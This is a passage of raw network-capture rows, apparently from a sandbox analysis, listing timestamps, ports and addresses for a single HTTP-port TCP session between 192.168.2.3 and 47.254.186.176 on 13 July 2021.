Jul 13, 2021 14:37:54.851437092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851475954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851514101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851550102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851552963 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.851577044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851588964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.851599932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851625919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851649046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851661921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.851670027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851699114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851708889 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.851722002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851741076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851758003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851775885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851792097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851808071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851825953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851844072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.851883888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.851917982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.852114916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852197886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852248907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852250099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.852272987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852298975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852345943 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.852345943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852447033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852458000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.852528095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852607965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.852608919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852632999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852667093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852693081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.852703094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852730036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852752924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852773905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852777958 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.852797031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852808952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.852819920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852840900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852843046 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.852864981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852886915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.852895975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.852941990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853138924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853182077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853230953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853233099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853271961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853296041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853317022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853317976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853358030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853384018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853410006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853452921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853472948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853496075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853533983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853547096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853602886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853626013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853648901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853657007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853671074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853694916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853697062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853717089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853758097 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853800058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853837013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853861094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853864908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853883982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853905916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853905916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853928089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853950024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853961945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.853971958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.853993893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854001999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.854038000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.854413033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854437113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854460001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854497910 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.854516029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854562998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.854568958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854609013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854630947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854656935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.854695082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854724884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854743958 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.854760885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854784012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854804993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854825974 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.854827881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854861021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.854912043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854934931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854969978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.854979038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.855010986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.855081081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855104923 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855144024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855170012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855192900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855194092 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.855228901 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.855283022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855329037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855372906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.855424881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855448008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855498075 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.855504036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855555058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855618954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855618954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.855839014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855871916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855890036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.855896950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855921984 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.855933905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.855968952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856004000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856021881 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856038094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856081009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856085062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856120110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856146097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856168985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856169939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856192112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856192112 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856229067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856245041 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856251955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856286049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856304884 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856311083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856334925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856357098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856357098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856379986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856400967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856420994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856451988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856601954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856637955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856673002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856684923 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856803894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856847048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856873035 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856889009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856924057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856935024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856945992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856970072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.856991053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.856992006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857017040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857037067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857040882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857062101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857084036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857084990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857106924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857127905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857150078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857151031 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857172966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857182980 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857198954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857223034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857223988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857259989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857285023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857285976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857327938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857496023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857541084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857595921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857620001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857647896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857685089 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857691050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857728004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857820988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857847929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857872009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857872009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857894897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857911110 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857919931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857943058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857950926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.857964993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857988119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.857995033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.858011007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.858032942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.858052969 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.858056068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.858084917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.861989975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862018108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862040997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862062931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862090111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862097979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862121105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862143993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862144947 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862165928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862189054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862206936 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862215042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862235069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862251043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862272024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862297058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862315893 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862319946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862343073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862349987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862365007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862386942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862387896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862411022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862426996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862432957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862453938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862478018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862481117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862505913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862526894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862550020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862551928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862572908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862586975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862596035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862623930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862631083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862653971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862674952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862684011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862699032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862720013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862723112 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862773895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862799883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862822056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862828970 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862848043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862863064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862871885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862888098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862906933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862931967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862946987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.862956047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862977028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.862998962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863006115 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863022089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863042116 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863045931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863069057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863091946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863102913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863137007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863146067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863163948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863187075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863208055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863231897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863233089 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863255024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863269091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863276958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863301039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863305092 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863338947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863343954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863362074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863384008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863405943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863409042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863442898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863447905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863467932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863490105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863513947 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863514900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863539934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863560915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863571882 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863583088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863595963 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863605976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863627911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863650084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863653898 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863684893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863698006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863709927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863734007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863756895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863756895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863782883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863796949 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.863806963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863827944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.863851070 CEST	80	49757	47.254.186.176	192.168.2.3
